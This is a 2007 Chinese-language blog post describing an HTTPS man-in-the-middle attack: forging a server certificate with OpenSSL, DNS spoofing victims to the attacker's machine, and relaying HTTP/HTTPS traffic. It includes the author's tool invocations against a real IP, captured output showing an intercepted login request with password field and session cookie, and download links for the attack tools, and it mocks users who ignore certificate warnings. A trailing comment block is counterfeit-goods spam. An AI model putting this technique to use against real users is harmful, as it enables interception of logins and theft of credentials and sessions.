Sep 30

如何进行https中间人攻击 不指定

by 云舒
2007-09-29
http://www.ph4nt0m.org

这篇文章主要是介绍一些如何进行中间人攻击,包括两部分,第一部分是伪造证书,第二部分就是中间人转发数据了。作为中间人之前,需要使用DNS欺骗将域名解析到中间人的机器上面。HTTPS中间人攻击对自己签发的证书比较有效,比如xfocus这样的。因为本来就会出现证书警告,而向yahoo, google等网站,是权威机构发布的证书,伪造了之后会出现安全警告,不过我想白痴的用户还是很多吧。另外,这种劫持是只能在用户端攻击用户的,和服务器没啥关系。

先说说伪造证书的方法。首先使用openssl来生成一个证书,我这里生成了一个example.crt和example.key两个,保护密码为 1234。然后连接到真实的HTTPS服务器,获取真正的证书。再对开始伪造的证书进行修改,将伪造证书的几个字段改成和真实服务器的一样,增加迷惑性。

这个程序也包含在下面了,代码很短,可以自己看看,我不多描述了,主要用了X509_set_version, X509_set_serialNumber,X509_set_subject_name和X509_set_issuer_name等4个API修改的。不过比较郁闷的是windows下面编译的openssl竟然有点小问题,X509_NAME这个结构体是undefined的,写代码的时候想办法避开就好了。这样做出来的证书,开起来和真实的一样,不过公钥不同,因为如果公钥也用真是服务器的,我们没私钥那么中间人就白做了。

现在要说的就是怎么做中间人攻击了,对于一般的站点,会同时具备HTTP和HTTPS两种,所以需要在中间人的机器上监听tcp 80和tcp443,然后对数据进行转发。这一部分没什么难的,就是程序写得比较乱。本来forward等几个文件的函数可以合并到一起的,去年我就是这么做的,但是结果bug非常多。这几天突然想起对HTTPS的攻击,就把代码翻出来重写了。代码变长了很多,但是效果好了很多。唯一遗憾的是,貌似对 firefox无效,不知道为什么,需要进一步分析。

我对自己登录xfocus的论坛过程做过测试,密码什么的还是能抓到的,gmail我也测试过,基本没太大的问题。附件里面是代码,编译好的程序和我的测试证书也在,不说了,代码描述吧(代码非常乱,嘿嘿)……

攻击的时候可以这样:
D:\Projects\HttpsMiM\Release>MakeCert.exe 125.208.7.30
write fake cert to 125.208.7.30.crt, use this to do the mim attack!

D:\Projects\HttpsMiM\Release>HttpsMim.exe 125.208.7.30 125.208.7.30.crt

POST /bbs/index.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shoc
wave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, applicatio
/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms
xbap, application/x-ms-application, */*
Referer: https://www.xfocus.net/bbs/index.php?act=Login&do=00
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.
.50727; .NET CLR 3.0.04506.30)
Host: www.xfocus.net
Content-Length: 90
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=033eebeaf4af7c73243ff3901c70f292

act=Login&do=01&UserName=ph4_yunshu&PassWord=wrongpassword&submit=%CE%D2%D2%AA%
5%C7%C2%BDssl2 recv erro: error:00000000:lib(0):func(0):reason(0)
GET /images/title.gif HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.
.50727; .NET CLR 3.0.04506.30)
Host: www.xfocus.net
Connection: Keep-Alive
Cookie: PHPSESSID=033eebeaf4af7c73243ff3901c70f292

代码下载:
http://www.icylife.net/pic/httpsmim/MakeCert.zip
http://www.icylife.net/pic/httpsmim/HttpsMim.zip
发表评论
表情
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
打开HTML
打开UBB
打开表情
隐藏
记住我
昵称   密码   游客无需密码
网址   电邮   [注册]
               

 
20100511 NFL jerseysNFL jerseysNFL jerseys, louis vuitton bagslouis vuitton bagslouis vuitton bags, nike shoesnike shoesnike shoes, coach bagscoach bagscoach bags, jordan shoesjordan shoesjordan shoes, coach bagscoach bagscoach bags, tiffany jewelrytiffany jewelrytiffany jewelry, Shox r4Shox r4Shox r4, Shox nzShox nzShox nz, Shox nzNike dunk sbNike dunk sb, ghd straightenersghd straightenersghd straighteners, coach outletcoach outletcoach outlet, replica rolexreplica rolexreplica rolex, breitling watchesbreitling watchesbreitling watches, replica rolex watchesreplica rolex watchesreplica rolex watches, tag heuer carreratag heuer carreratag heuer carrera, replica louis vuitton replica louis vuitton replica louis vuitton , replica chanelreplica chanelreplica chanel, wholesale handbagswholesale handbagswholesale handbags, wholesale bagswholesale bagswholesale bags, jimmy choojimmy choojimmy choo, christian louboutinchristian louboutinchristian louboutin, yves saint laurent shoesyves saint laurent shoesyves saint laurent shoes, christian louboutinchristian louboutinchristian louboutin, ghdghdghd, ghd hairghd hairghd hair, 外贸网店建设外贸网店建设外贸网店建设, seoseoseo, 圣荷圣荷圣荷,